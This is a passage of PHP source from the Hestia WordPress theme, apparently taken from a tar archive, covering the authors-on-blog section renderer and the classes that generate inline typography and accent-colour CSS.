* @access public
* @return void
*/
public function render_authors_section() {
$this->initialize_members_list();
if ( empty( $this->members_to_display ) ) {
return;
}
$hestia_authors_on_blog_background = get_theme_mod( 'hestia_authors_on_blog_background' );
$background_inline = ! empty( $hestia_authors_on_blog_background ) ? 'style="background-image: url(' . esc_url( $hestia_authors_on_blog_background ) . ');"' : '';
$section_class = ! empty( $hestia_authors_on_blog_background ) ? 'authors-on-blog section-image' : 'authors-on-blog';
echo '<section id="authors-on-blog" class="' . esc_attr( $section_class ) . '" ' . $background_inline . '>';
echo '<div class="container"><div class="row">';
foreach ( $this->members_to_display as $team_item ) {
$image = ! empty( $team_item['image_url'] ) ? apply_filters( 'hestia_translate_single_string', $team_item['image_url'], 'Team section', 'Image' ) : '';
$title = ! empty( $team_item['title'] ) ? apply_filters( 'hestia_translate_single_string', $team_item['title'], 'Team section', 'Title' ) : '';
$subtitle = ! empty( $team_item['subtitle'] ) ? apply_filters( 'hestia_translate_single_string', $team_item['subtitle'], 'Team section', 'Subtitle' ) : '';
$text = ! empty( $team_item['text'] ) ? apply_filters( 'hestia_translate_single_string', $team_item['text'], 'Team section', 'Text' ) : '';
$link = ! empty( $team_item['link'] ) ? apply_filters( 'hestia_translate_single_string', $team_item['link'], 'Team section', 'Link' ) : '';
$icons = ! empty( $team_item['social_repeater'] ) ? $team_item['social_repeater'] : '';
echo '<div class="col-xs-12 col-ms-6 col-sm-6"><div class="card card-profile card-plain">';
echo '<div class="col-md-5"><div class="card-image">';
if ( ! empty( $image ) ) {
if ( ! empty( $link ) ) {
echo '<a href="' . esc_url( $link ) . '">';
}
echo '<img class="img" src="' . esc_url( $image ) . '">';
if ( ! empty( $link ) ) {
echo '</a>';
}
}
echo '</div></div>';
echo '<div class="col-md-7"><div class="content">';
if ( ! empty( $title ) ) {
echo '<h4 class="card-title">' . wp_kses_post( html_entity_decode( $title ) ) . '</h4>';
}
if ( ! empty( $subtitle ) ) {
echo '<h6 class="category text-muted">' . wp_kses_post( html_entity_decode( $subtitle ) ) . '</h6>';
}
if ( ! empty( $text ) ) {
echo '<p class="card-description">' . wp_kses_post( html_entity_decode( $text ) ) . '</p>';
}
if ( ! empty( $icons ) ) {
$icons = html_entity_decode( $icons );
$icons_decoded = json_decode( $icons, true );
if ( ! empty( $icons_decoded ) ) {
echo '<div class="footer">';
foreach ( $icons_decoded as $value ) {
$icon = ! empty( $value['icon'] ) ? apply_filters( 'hestia_translate_single_string', $value['icon'], 'Team section' ) : '';
$link = ! empty( $value['link'] ) ? apply_filters( 'hestia_translate_single_string', $value['link'], 'Team section' ) : '';
if ( ! empty( $icon ) ) {
$icon_class = ! empty( $hestia_authors_on_blog_background ) ? 'btn btn-just-icon btn-simple btn-white' : 'btn btn-just-icon btn-simple';
echo '<a href="' . esc_url( $link ) . '" class="' . esc_attr( $icon_class ) . '" >';
echo '<i class="fa ' . esc_attr( $icon ) . '"></i>';
echo '</a>';
}
}
echo '</div>';
}
}
echo '</div></div>';
echo '</div></div>';
}
echo '</div></div>';
echo '</section>';
}
/**
* Select from team members just those members that were selected in hestia_authors_on_blog control
*
* @access private
* @return void
*/
private function initialize_members_list() {
$hestia_authors_on_blog = get_theme_mod( 'hestia_authors_on_blog' );
if ( empty( $hestia_authors_on_blog ) || ( sizeof( $hestia_authors_on_blog ) === 1 && empty( $hestia_authors_on_blog[0] ) ) ) {
return;
}
$default_content = Hestia_Defaults_Models::instance()->get_team_default();
$hestia_team_content = get_theme_mod( 'hestia_team_content', $default_content );
if ( empty( $hestia_team_content ) ) {
return;
}
$hestia_team_content = json_decode( $hestia_team_content, true );
if ( ! empty( $hestia_team_content ) ) {
$this->members_to_display = array_filter( $hestia_team_content, array( $this, 'selected_authors' ) );
}
}
/**
* Filter function to check if the id is in team members.
*
* @access private
* @return bool
*/
private function selected_authors( $arr ) {
$hestia_authors_on_blog = (array) get_theme_mod( 'hestia_authors_on_blog' );
if ( empty( $hestia_authors_on_blog ) ) {
return false;
}
return in_array( $arr['id'], $hestia_authors_on_blog );
}
}
styles-output/typography/class-hestia-public-typography.php 0000666 00000044150 15111734607 0020421 0 ustar 00 <?php
/**
* All the inline style for typography ( font family, font sizes ).
*
* @package Hestia
*/
/**
* Class Hestia_Public_Typography
*/
class Hestia_Public_Typography extends Hestia_Inline_Style_Manager {
/**
* Add all the hooks necessary.
*/
public function init() {
add_action( 'wp_enqueue_scripts', array( $this, 'add_inline_font_styles' ) );
}
/**
* Add top bar style.
*/
public function add_inline_font_styles() {
wp_add_inline_style( 'hestia_style', $this->fonts_inline_style() );
wp_add_inline_style( 'hestia_style', $this->typography_inline_style() );
}
/**
* Add inline style for custom fonts.
*
* @since 1.1.59
*/
private function fonts_inline_style() {
$custom_css = '';
/**
* Headings font family.
*/
$hestia_headings_font = get_theme_mod( 'hestia_headings_font', apply_filters( 'hestia_headings_default', false ) );
if ( ! empty( $hestia_headings_font ) ) {
$custom_css .=
'h1, h2, h3, h4, h5, h6, .hestia-title, .hestia-title.title-in-content, p.meta-in-content , .info-title, .card-title,
.page-header.header-small .hestia-title, .page-header.header-small .title, .widget h5, .hestia-title,
.title, .card-title, .info-title, .footer-brand, .footer-big h4, .footer-big h5, .media .media-heading,
.carousel h1.hestia-title, .carousel h2.title,
.carousel span.sub-title, .woocommerce.single-product h1.product_title, .woocommerce section.related.products h2, .hestia-about h1, .hestia-about h2, .hestia-about h3, .hestia-about h4, .hestia-about h5 {
font-family: ' . esc_html( $hestia_headings_font ) . ';
}';
if ( class_exists( 'WooCommerce' ) ) {
$custom_css .=
'.woocommerce.single-product .product_title, .woocommerce .related.products h2, .woocommerce span.comment-reply-title {
font-family: ' . esc_html( $hestia_headings_font ) . ';
}';
}
}
/**
* Body font family.
*/
$hestia_body_font = get_theme_mod( 'hestia_body_font', apply_filters( 'hestia_body_font_default', false ) );
if ( ! empty( $hestia_body_font ) ) {
$custom_css .= '
body, ul, .tooltip-inner {
font-family: ' . esc_html( $hestia_body_font ) . ';
}';
if ( class_exists( 'WooCommerce' ) ) {
$custom_css .= '
.products .shop-item .added_to_cart,
.woocommerce-checkout #payment input[type=submit], .woocommerce-checkout input[type=submit],
.woocommerce-cart table.shop_table td.actions input[type=submit],
.woocommerce .cart-collaterals .cart_totals .checkout-button, .woocommerce button.button,
.woocommerce div[id^=woocommerce_widget_cart].widget .buttons .button, .woocommerce div.product form.cart .button,
.woocommerce #review_form #respond .form-submit , .added_to_cart.wc-forward, .woocommerce div#respond input#submit,
.woocommerce a.button {
font-family: ' . esc_html( $hestia_body_font ) . ';
}';
}
}
/**
* TODO: Find a better place for this.
* Hide customizer shortcut for page editor control if frontpage was edited with elementor, beaver or wpbakery.
*/
$is_pagebuilder = hestia_edited_with_pagebuilder();
if ( $is_pagebuilder ) {
$custom_css .= '.customize-partial-edit-shortcut-hestia_page_editor{
display:none;
}';
}
return $custom_css;
}
/**
* Add inline style for font sizes.
*
* @since 1.1.48
*/
private function typography_inline_style() {
$custom_css = '';
/**
* Title control [Posts & Pages]
*/
$custom_css .= $this->get_inline_style(
'hestia_header_titles_fs', array(
$this,
'get_header_titles_style',
)
);
/**
* Headings control [Posts & Pages]
*/
$custom_css .= $this->get_inline_style(
'hestia_post_page_headings_fs', array(
$this,
'get_post_page_headings_style',
)
);
/**
* Content control [Posts & Pages]
*/
$custom_css .= $this->get_inline_style(
'hestia_post_page_content_fs', array(
$this,
'get_post_page_content_style',
)
);
/**
* Big Title Section / Header Slide [Frontpage sections]
*/
$custom_css .= $this->get_inline_style(
'hestia_big_title_fs', array(
$this,
'get_big_title_content_style',
)
);
/**
* Titles control [Frontpage sections]
*/
$custom_css .= $this->get_inline_style(
'hestia_section_primary_headings_fs', array(
$this,
'get_fp_titles_style',
)
);
/**
* Subitles control [Frontpage sections]
*/
$custom_css .= $this->get_inline_style(
'hestia_section_secondary_headings_fs', array(
$this,
'get_fp_subtitles_style',
)
);
/**
* Content control [Blog, Frontpage & WooCommerce]
*/
$custom_css .= $this->get_inline_style(
'hestia_section_content_fs', array(
$this,
'get_fp_content_style',
)
);
return $custom_css;
}
/**
* [Posts and Pages] Title font size.
*
* This function is called by get_inline_style to change the font size for:
* pages/posts titles
* Slider/Big title title/subtitle
*
* @param string $value Font value.
* @param string $dimension Media query.
*
* @return string
*/
public function get_header_titles_style( $value, $dimension = 'desktop' ) {
$custom_css = '';
switch ( $dimension ) {
case 'desktop':
$v3 = ( 42 + (int) $value ) > 0 ? ( 42 + (int) $value ) : 0;
break;
case 'tablet':
case 'mobile':
$v3 = ( 36 + (int) $value ) > 0 ? ( 36 + (int) $value ) : 0;
break;
}
$custom_css .= ! empty( $v3 ) ? '
.page-header.header-small .hestia-title,
.page-header.header-small .title,
h1.hestia-title.title-in-content{
font-size: ' . absint( $v3 ) . 'px;
}' : '';
$custom_css = $this->add_media_query( $dimension, $custom_css );
return $custom_css;
}
/**
* [Posts & Pages] Headings.
* This function is called by hestia_get_inline_style to change the font size for:
* headings ( h1 - h6 ) on pages and single post pages
*
* @param string $value Font value.
* @param string $dimension Media query.
*
* @return string
*/
public function get_post_page_headings_style( $value, $dimension = 'desktop' ) {
$custom_css = '';
switch ( $dimension ) {
case 'desktop':
$v1 = ( 42 + (int) $value ) > 0 ? ( 42 + (int) $value ) : 0;
$v2 = ( 37 + (int) $value ) > 0 ? ( 37 + (int) $value ) : 0;
$v3 = ( 32 + (int) $value ) > 0 ? ( 32 + (int) $value ) : 0;
$v4 = ( 27 + (int) $value ) > 0 ? ( 27 + (int) $value ) : 0;
$v5 = ( 23 + (int) $value ) > 0 ? ( 23 + (int) $value ) : 0;
$v6 = ( 18 + (int) $value ) > 0 ? ( 18 + (int) $value ) : 0;
break;
case 'tablet':
case 'mobile':
$v1 = ( 36 + (int) $value ) > 0 ? ( 36 + (int) $value ) : 0;
$v2 = ( 32 + (int) $value ) > 0 ? ( 32 + (int) $value ) : 0;
$v3 = ( 28 + (int) $value ) > 0 ? ( 28 + (int) $value ) : 0;
$v4 = ( 24 + (int) $value ) > 0 ? ( 24 + (int) $value ) : 0;
$v5 = ( 21 + (int) $value ) > 0 ? ( 21 + (int) $value ) : 0;
$v6 = ( 18 + (int) $value ) > 0 ? ( 18 + (int) $value ) : 0;
break;
}
$custom_css .= ! empty( $v1 ) ? '
.single-post-wrap article h1:not(.title-in-content),
.page-content-wrap h1:not(.title-in-content),
.page-template-template-fullwidth article h1:not(.title-in-content) {
font-size: ' . absint( $v1 ) . 'px;
}' : '';
$custom_css .= ! empty( $v2 ) ? '
.single-post-wrap article h2,
.page-content-wrap h2,
.page-template-template-fullwidth article h2 {
font-size: ' . absint( $v2 ) . 'px;
}' : '';
$custom_css .= ! empty( $v3 ) ? '
.single-post-wrap article h3,
.page-content-wrap h3,
.page-template-template-fullwidth article h3 {
font-size: ' . absint( $v3 ) . 'px;
}' : '';
$custom_css .= ! empty( $v4 ) ? '
.single-post-wrap article h4,
.page-content-wrap h4,
.page-template-template-fullwidth article h4 {
font-size: ' . absint( $v4 ) . 'px;
}' : '';
$custom_css .= ! empty( $v5 ) ? '
.single-post-wrap article h5,
.page-content-wrap h5,
.page-template-template-fullwidth article h5 {
font-size: ' . absint( $v5 ) . 'px;
}' : '';
$custom_css .= ! empty( $v6 ) ? '
.single-post-wrap article h6,
.page-content-wrap h6,
.page-template-template-fullwidth article h6 {
font-size: ' . absint( $v6 ) . 'px;
}' : '';
$custom_css = $this->add_media_query( $dimension, $custom_css );
return $custom_css;
}
/**
* [Posts & Pages] Content.
* This function is called by hestia_get_inline_style to change the font size for:
* content ( p ) on pages
* single post pages
*
* @param string $value Font value.
* @param string $dimension Media query.
*
* @return string
*/
public function get_post_page_content_style( $value, $dimension = 'desktop' ) {
$custom_css = '';
switch ( $dimension ) {
case 'desktop':
$v1 = ( 18 + (int) $value ) > 0 ? ( 18 + (int) $value ) : 0;
break;
case 'tablet':
case 'mobile':
$v1 = ( 16 + (int) $value ) > 0 ? ( 16 + (int) $value ) : 0;
break;
}
$custom_css .= ! empty( $v1 ) ? '.single-post-wrap article p:not(.meta-in-content), .page-content-wrap p, .single-post-wrap article ul, .page-content-wrap ul, .single-post-wrap article ol, .page-content-wrap ol, .single-post-wrap article dl, .page-content-wrap dl, .single-post-wrap article table, .page-content-wrap table, .page-template-template-fullwidth article p {
font-size: ' . absint( $v1 ) . 'px;
}' : '';
$custom_css = $this->add_media_query( $dimension, $custom_css );
return $custom_css;
}
/**
* [Front Page Sections] Big Title Section / Header Slider.
*
* This function is called by hestia_get_inline_style to change big title/slider titles, the
* subtitle and the button in the big title section.
*
* How to calculate values:
* Hardcoded values (67, 18 and 14 on desktop or 36, 18, 14 on tablet and mobile) are the default values from css.
* In this case 67 is for big title, 18 for subtitle and 14 for button.
* The main formula for calculating is this:
* $initial_value + ($variable_value / $correlation)
* $initial_value -> value from css
* $variable_value -> controls value that is between -25 and 25
* $correlation -> this variable says we increase the value every X units.
* There is another variable to set a lower limit. Just change the value compared to.
*
* @param string $value Font value.
* @param string $dimension Dimension.
*
* @return string
*/
public function get_big_title_content_style( $value, $dimension = 'desktop' ) {
$custom_css = '';
switch ( $dimension ) {
case 'desktop':
$v1 = ( 67 + (int) $value ) > 0 ? ( 67 + (int) $value ) : 0;
$v2 = ( 18 + absint( (int) $value / 8 ) ) > 0 ? ( 18 + absint( (int) $value / 8 ) ) : 0;
$v3 = ( 14 + absint( (int) $value / 12 ) ) > 0 ? ( 14 + absint( (int) $value / 12 ) ) : 0;
break;
case 'tablet':
case 'mobile':
$v1 = ( 36 + absint( (int) $value / 4 ) ) > 0 ? ( 36 + absint( (int) $value / 4 ) ) : 0;
$v2 = ( 18 + absint( (int) $value / 4 ) ) > 0 ? ( 18 + absint( (int) $value / 4 ) ) : 0;
$v3 = ( 14 + absint( (int) $value / 6 ) ) > 0 ? ( 14 + absint( (int) $value / 6 ) ) : 0;
break;
}
$custom_css .= ! empty( $v1 ) ? '#carousel-hestia-generic .hestia-title{
font-size: ' . absint( $v1 ) . 'px;
}' : '';
$custom_css .= ! empty( $v2 ) ? '#carousel-hestia-generic span.sub-title{
font-size: ' . absint( $v2 ) . 'px;
}' : '';
$custom_css .= ! empty( $v3 ) ? '#carousel-hestia-generic .btn{
font-size: ' . absint( $v3 ) . 'px;
}' : '';
$custom_css = $this->add_media_query( $dimension, $custom_css );
return $custom_css;
}
/**
* [Front Page Sections] Front Page Titles font size.
*
* This function is called by hestia_get_inline_style to change the font size for:
* all front page sections titles and small headings ( Feature box title, Shop box title, Team box title, Testimonial box title, Blog box title )
*
* The main formula for calculating is this:
* $initial_value + ($variable_value / $correlation)
* $initial_value -> value from css
* $variable_value -> controls value that is between -25 and 25
* $correlation -> this variable says we increase the value every X units.
* There is another variable to set a lower limit. Just change the value compared to.
*
* @param string $value Font value.
* @param string $dimension Media query.
*
* @return string
*/
public function get_fp_titles_style( $value, $dimension = 'desktop' ) {
$custom_css = '';
switch ( $dimension ) {
case 'desktop':
$v1 = ( 37 + (int) $value ) > 18 ? ( 37 + (int) $value ) : 18;
$v2 = ( 18 + absint( (int) $value / 3 ) ) > 14 ? ( 18 + absint( (int) $value / 3 ) ) : 14;
$v3 = ( 23 + absint( (int) $value / 3 ) ) > 0 ? ( 23 + absint( (int) $value / 3 ) ) : 0;
$h1 = ( 42 + absint( (int) $value / 3 ) ) > 0 ? ( 42 + absint( (int) $value / 3 ) ) : 0;
$h2 = ( 37 + absint( (int) $value / 3 ) ) > 0 ? ( 37 + absint( (int) $value / 3 ) ) : 0;
$h3 = ( 32 + absint( (int) $value / 3 ) ) > 0 ? ( 32 + absint( (int) $value / 3 ) ) : 0;
$h4 = ( 27 + absint( (int) $value / 3 ) ) > 0 ? ( 27 + absint( (int) $value / 3 ) ) : 0;
break;
case 'tablet':
case 'mobile':
$v1 = ( 24 + (int) $value ) > 18 ? ( 24 + (int) $value ) : 18;
$v2 = ( 18 + absint( (int) $value / 3 ) ) > 14 ? ( 18 + absint( (int) $value / 3 ) ) : 14;
$v3 = ( 23 + absint( (int) $value / 3 ) ) > 0 ? ( 23 + absint( (int) $value / 3 ) ) : 0;
$h1 = ( 42 + absint( (int) $value / 3 ) ) > 0 ? ( 42 + absint( (int) $value / 3 ) ) : 0;
$h2 = ( 37 + absint( (int) $value / 3 ) ) > 0 ? ( 37 + absint( (int) $value / 3 ) ) : 0;
$h3 = ( 32 + absint( (int) $value / 3 ) ) > 0 ? ( 32 + absint( (int) $value / 3 ) ) : 0;
$h4 = ( 27 + absint( (int) $value / 3 ) ) > 0 ? ( 27 + absint( (int) $value / 3 ) ) : 0;
break;
}
$custom_css .= ! empty( $v1 ) ? '
section.hestia-features .hestia-title,
section.hestia-shop .hestia-title,
section.hestia-work .hestia-title,
section.hestia-team .hestia-title,
section.hestia-pricing .hestia-title,
section.hestia-ribbon .hestia-title,
section.hestia-testimonials .hestia-title,
section.hestia-subscribe h2.title,
section.hestia-blogs .hestia-title,
.section.related-posts .hestia-title,
section.hestia-contact .hestia-title{
font-size: ' . absint( $v1 ) . 'px;
}' : '';
$custom_css .= ! empty( $v2 ) ? '
section.hestia-features .hestia-info h4.info-title,
section.hestia-shop h4.card-title,
section.hestia-team h4.card-title,
section.hestia-testimonials h4.card-title,
section.hestia-blogs h4.card-title,
.section.related-posts h4.card-title,
section.hestia-contact h4.card-title,
section.hestia-contact .hestia-description h6{
font-size: ' . absint( $v2 ) . 'px;
}' : '';
$custom_css .= ! empty( $v3 ) ? '
section.hestia-work h4.card-title,
section.hestia-contact .hestia-description h5{
font-size: ' . absint( $v3 ) . 'px;
}' : '';
$custom_css .= ! empty( $h1 ) ? '
section.hestia-contact .hestia-description h1{
font-size: ' . absint( $h1 ) . 'px;
}' : '';
$custom_css .= ! empty( $h2 ) ? '
section.hestia-contact .hestia-description h2{
font-size: ' . absint( $h2 ) . 'px;
}' : '';
$custom_css .= ! empty( $h2 ) ? '
section.hestia-contact .hestia-description h3{
font-size: ' . absint( $h3 ) . 'px;
}' : '';
$custom_css .= ! empty( $h4 ) ? '
section.hestia-contact .hestia-description h4{
font-size: ' . absint( $h4 ) . 'px;
}' : '';
$custom_css = $this->add_media_query( $dimension, $custom_css );
return $custom_css;
}
/**
* [Front Page Sections] Subtitles font size.
*
* This function is called by hestia_get_inline_style to change the font size for:
* all front page sections subtitles
*
* The main formula for calculating is this:
* $initial_value + ($variable_value / $correlation)
* $initial_value -> value from css
* $variable_value -> controls value that is between -25 and 25
* $correlation -> this variable says we increase the value every X units.
* There is another variable to set a lower limit. Just change the value compared to.
*
* @param string $value Font value.
* @param string $dimension Media query.
*
* @return string
*/
public function get_fp_subtitles_style( $value, $dimension = 'desktop' ) {
$custom_css = '';
switch ( $dimension ) {
case 'desktop':
case 'tablet':
case 'mobile':
$v1 = ( 18 + absint( (int) $value / 3 ) ) > 12 ? ( 18 + absint( (int) $value / 3 ) ) : 12;
break;
}
$custom_css .= ! empty( $v1 ) ? '
section.hestia-features h5.description,
section.hestia-shop h5.description,
section.hestia-work h5.description,
section.hestia-team h5.description,
section.hestia-testimonials h5.description,
section.hestia-subscribe h5.subscribe-description,
section.hestia-blogs h5.description,
section.hestia-contact h5.description{
font-size: ' . absint( $v1 ) . 'px;
}' : '';
$custom_css = $this->add_media_query( $dimension, $custom_css );
return $custom_css;
}
/**
* [Front Page Sections] Content font size.
*
* This function is called by hestia_get_inline_style to change the font size for:
* all front page sections box content
*
* @param string $value Font value.
* @param string $dimension Media query.
*
* @return string
*/
public function get_fp_content_style( $value, $dimension = 'desktop' ) {
$custom_css = '';
switch ( $dimension ) {
case 'desktop':
case 'tablet':
case 'mobile':
$v1 = ( 14 + absint( (int) $value / 3 ) ) > 12 ? ( 14 + absint( (int) $value / 3 ) ) : 12;
$v2 = ( 12 + absint( (int) $value / 3 ) ) > 12 ? ( 12 + absint( (int) $value / 3 ) ) : 12;
break;
}
$custom_css .= ! empty( $v1 ) ? '
section.hestia-team p.card-description,
section.hestia-pricing p.text-gray,
section.hestia-testimonials p.card-description,
section.hestia-blogs p.card-description,
.section.related-posts p.card-description,
.hestia-contact p,
section.hestia-features .hestia-info p,
section.hestia-shop .card-description p{
font-size: ' . absint( $v1 ) . 'px;
}' : '';
$custom_css .= ! empty( $v2 ) ? '
section.hestia-shop h6.category,
section.hestia-work .label-primary,
section.hestia-team h6.category,
section.hestia-pricing .card-pricing h6.category,
section.hestia-testimonials h6.category,
section.hestia-blogs h6.category,
.section.related-posts h6.category{
font-size: ' . absint( $v2 ) . 'px;
}' : '';
$custom_css = $this->add_media_query( $dimension, $custom_css );
return $custom_css;
}
}
styles-output/colors/class-hestia-colors.php 0000666 00000035466 15111734607 0015345 0 ustar 00 <?php
/**
* Colors main file.
*
* @package Hestia
*/
/**
* Class Hestia_Colors
*/
class Hestia_Colors extends Hestia_Abstract_Main {
/**
* Add all the hooks necessary.
*/
public function init() {
add_action( 'wp_enqueue_scripts', array( $this, 'add_inline_color_styles' ) );
}
/**
* Add inline style for colors.
*/
public function add_inline_color_styles() {
wp_add_inline_style( apply_filters( 'hestia_custom_color_handle', 'hestia_style' ), $this->colors_inline_style() );
wp_add_inline_style( 'hestia_woocommerce_style', $this->woo_colors_inline_style() );
}
/**
* Colors inline style.
*
* @return string
*/
private function colors_inline_style() {
$custom_css = '';
$color_accent = get_theme_mod( 'accent_color', apply_filters( 'hestia_accent_color_default', '#e91e63' ) );
$color_header_gradient = get_theme_mod( 'hestia_header_gradient_color', apply_filters( 'hestia_header_gradient_default', '#a81d84' ) );
$custom_css .= ! empty( $color_accent ) ? '
a,
.navbar .dropdown-menu li:hover > a,
.navbar .dropdown-menu li:focus > a,
.navbar .dropdown-menu li:active > a,
.navbar.navbar-not-transparent .nav > li:not(.btn).on-section > a,
.navbar.navbar-not-transparent .nav > li.on-section:not(.btn) > a,
.navbar.navbar-not-transparent .nav > li.on-section:not(.btn):hover > a,
.navbar.navbar-not-transparent .nav > li.on-section:not(.btn):focus > a,
.navbar.navbar-not-transparent .nav > li.on-section:not(.btn):active > a,
body:not(.home) .navbar-default .navbar-nav > .active:not(.btn) > a,
body:not(.home) .navbar-default .navbar-nav > .active:not(.btn) > a:hover,
body:not(.home) .navbar-default .navbar-nav > .active:not(.btn) > a:focus,
a:hover,
.card-blog a.moretag:hover,
.card-blog a.more-link:hover,
.widget a:hover {
color:' . esc_html( $color_accent ) . ';
}
.pagination span.current, .pagination span.current:focus, .pagination span.current:hover {
border-color:' . esc_html( $color_accent ) . '
}
button,
button:hover,
input[type="button"],
input[type="button"]:hover,
input[type="submit"],
input[type="submit"]:hover,
input#searchsubmit,
.pagination span.current,
.pagination span.current:focus,
.pagination span.current:hover,
.btn.btn-primary,
.btn.btn-primary:link,
.btn.btn-primary:hover,
.btn.btn-primary:focus,
.btn.btn-primary:active,
.btn.btn-primary.active,
.btn.btn-primary.active:focus,
.btn.btn-primary.active:hover,
.btn.btn-primary:active:hover,
.btn.btn-primary:active:focus,
.btn.btn-primary:active:hover,
.hestia-sidebar-open.btn.btn-rose,
.hestia-sidebar-close.btn.btn-rose,
.hestia-sidebar-open.btn.btn-rose:hover,
.hestia-sidebar-close.btn.btn-rose:hover,
.hestia-sidebar-open.btn.btn-rose:focus,
.hestia-sidebar-close.btn.btn-rose:focus,
.label.label-primary,
.hestia-work .portfolio-item:nth-child(6n+1) .label,
.nav-cart .nav-cart-content .widget .buttons .button{
background-color: ' . esc_html( $color_accent ) . ';
}
@media (max-width: 768px) {
.navbar-default .navbar-nav>li>a:hover,
.navbar-default .navbar-nav>li>a:focus,
.navbar .navbar-nav .dropdown .dropdown-menu li a:hover,
.navbar .navbar-nav .dropdown .dropdown-menu li a:focus,
.navbar button.navbar-toggle:hover,
.navbar .navbar-nav li:hover > a i {
color: ' . esc_html( $color_accent ) . ';
}
}
button,
.button,
input[type="submit"],
input[type="button"],
.btn.btn-primary,
.hestia-sidebar-open.btn.btn-rose,
.hestia-sidebar-close.btn.btn-rose {
-webkit-box-shadow: 0 2px 2px 0 ' . hestia_hex_rgba( $color_accent, '0.14' ) . ',0 3px 1px -2px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ',0 1px 5px 0 ' . hestia_hex_rgba( $color_accent, '0.12' ) . ';
box-shadow: 0 2px 2px 0 ' . hestia_hex_rgba( $color_accent, '0.14' ) . ',0 3px 1px -2px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ',0 1px 5px 0 ' . hestia_hex_rgba( $color_accent, '0.12' ) . ';
}
.card .header-primary, .card .content-primary {
background: ' . esc_html( $color_accent ) . ';
}
.button:hover,
button:hover,
input[type="submit"]:hover,
input[type="button"]:hover,
input#searchsubmit:hover,
.pagination span.current,
.btn.btn-primary:hover,
.btn.btn-primary:focus,
.btn.btn-primary:active,
.btn.btn-primary.active,
.btn.btn-primary:active:focus,
.btn.btn-primary:active:hover,
.hestia-sidebar-open.btn.btn-rose:hover,
.hestia-sidebar-close.btn.btn-rose:hover,
.pagination span.current:hover{
-webkit-box-shadow: 0 14px 26px -12px' . hestia_hex_rgba( $color_accent, '0.42' ) . ',0 4px 23px 0 rgba(0,0,0,0.12),0 8px 10px -5px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ';
box-shadow: 0 14px 26px -12px ' . hestia_hex_rgba( $color_accent, '0.42' ) . ',0 4px 23px 0 rgba(0,0,0,0.12),0 8px 10px -5px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ';
color: #fff;
}
.form-group.is-focused .form-control {
background-image: -webkit-gradient(linear,left top, left bottom,from(' . esc_html( $color_accent ) . '),to(' . esc_html( $color_accent ) . ')),-webkit-gradient(linear,left top, left bottom,from(#d2d2d2),to(#d2d2d2));
background-image: -webkit-linear-gradient(' . esc_html( $color_accent ) . '),to(' . esc_html( $color_accent ) . '),-webkit-linear-gradient(#d2d2d2,#d2d2d2);
background-image: linear-gradient(' . esc_html( $color_accent ) . '),to(' . esc_html( $color_accent ) . '),linear-gradient(#d2d2d2,#d2d2d2);
}
.navbar:not(.navbar-transparent) li:not(.btn):hover > a,
.navbar.full-screen-menu.navbar-transparent li:not(.btn):hover > a,
.navbar.full-screen-menu .navbar-toggle:hover,
.navbar:not(.navbar-transparent) .nav-cart:hover,
.navbar:not(.navbar-transparent) .hestia-toggle-search:hover {
color:' . esc_html( $color_accent ) . '}
' : '';
// Header Gradient Color
$custom_css .= ! empty( $color_header_gradient ) ? '
.header-filter-gradient {
background: linear-gradient(45deg, ' . hestia_hex_rgba( $color_header_gradient ) . ' 0%, ' . $this->hestia_generate_gradient_color( $color_header_gradient ) . ' 100%);
} ' : '';
return $custom_css;
}
/**
* WooCommerce inline color style.
*
* @return string
*/
private function woo_colors_inline_style() {
if ( ! class_exists( 'woocommerce' ) ) {
return '';
}
$color_accent = get_theme_mod( 'accent_color', apply_filters( 'hestia_accent_color_default', '#e91e63' ) );
$custom_css_woocommerce = '';
$custom_css_woocommerce .= ! empty( $color_accent ) ? '
.woocommerce-cart .shop_table .actions .coupon .input-text:focus,
.woocommerce-checkout #customer_details .input-text:focus, .woocommerce-checkout #customer_details select:focus,
.woocommerce-checkout #order_review .input-text:focus,
.woocommerce-checkout #order_review select:focus,
.woocommerce-checkout .woocommerce-form .input-text:focus,
.woocommerce-checkout .woocommerce-form select:focus,
.woocommerce div.product form.cart .variations select:focus,
.woocommerce .woocommerce-ordering select:focus {
background-image: -webkit-gradient(linear,left top, left bottom,from(' . esc_html( $color_accent ) . '),to(' . esc_html( $color_accent ) . ')),-webkit-gradient(linear,left top, left bottom,from(#d2d2d2),to(#d2d2d2));
background-image: -webkit-linear-gradient(' . esc_html( $color_accent ) . '),to(' . esc_html( $color_accent ) . '),-webkit-linear-gradient(#d2d2d2,#d2d2d2);
background-image: linear-gradient(' . esc_html( $color_accent ) . '),to(' . esc_html( $color_accent ) . '),linear-gradient(#d2d2d2,#d2d2d2);
}
.woocommerce div.product .woocommerce-tabs ul.tabs.wc-tabs li.active a {
color:' . esc_html( $color_accent ) . ';
}
.woocommerce div.product .woocommerce-tabs ul.tabs.wc-tabs li.active a,
.woocommerce div.product .woocommerce-tabs ul.tabs.wc-tabs li a:hover {
border-color:' . esc_html( $color_accent ) . '
}
.added_to_cart.wc-forward:hover,
#add_payment_method .wc-proceed-to-checkout a.checkout-button:hover,
#add_payment_method .wc-proceed-to-checkout a.checkout-button,
.added_to_cart.wc-forward,
.woocommerce nav.woocommerce-pagination ul li span.current,
.woocommerce ul.products li.product .onsale,
.woocommerce span.onsale,
.woocommerce .single-product div.product form.cart .button,
.woocommerce #respond input#submit,
.woocommerce button.button,
.woocommerce input.button,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button,
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt,
.woocommerce input.button:disabled,
.woocommerce input.button:disabled[disabled],
.woocommerce a.button.wc-backward:hover,
.woocommerce a.button.wc-backward,
.woocommerce .single-product div.product form.cart .button:hover,
.woocommerce #respond input#submit:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover,
.woocommerce input.button:disabled:hover,
.woocommerce input.button:disabled[disabled]:hover,
.woocommerce #respond input#submit.alt.disabled,
.woocommerce #respond input#submit.alt.disabled:hover,
.woocommerce #respond input#submit.alt:disabled,
.woocommerce #respond input#submit.alt:disabled:hover,
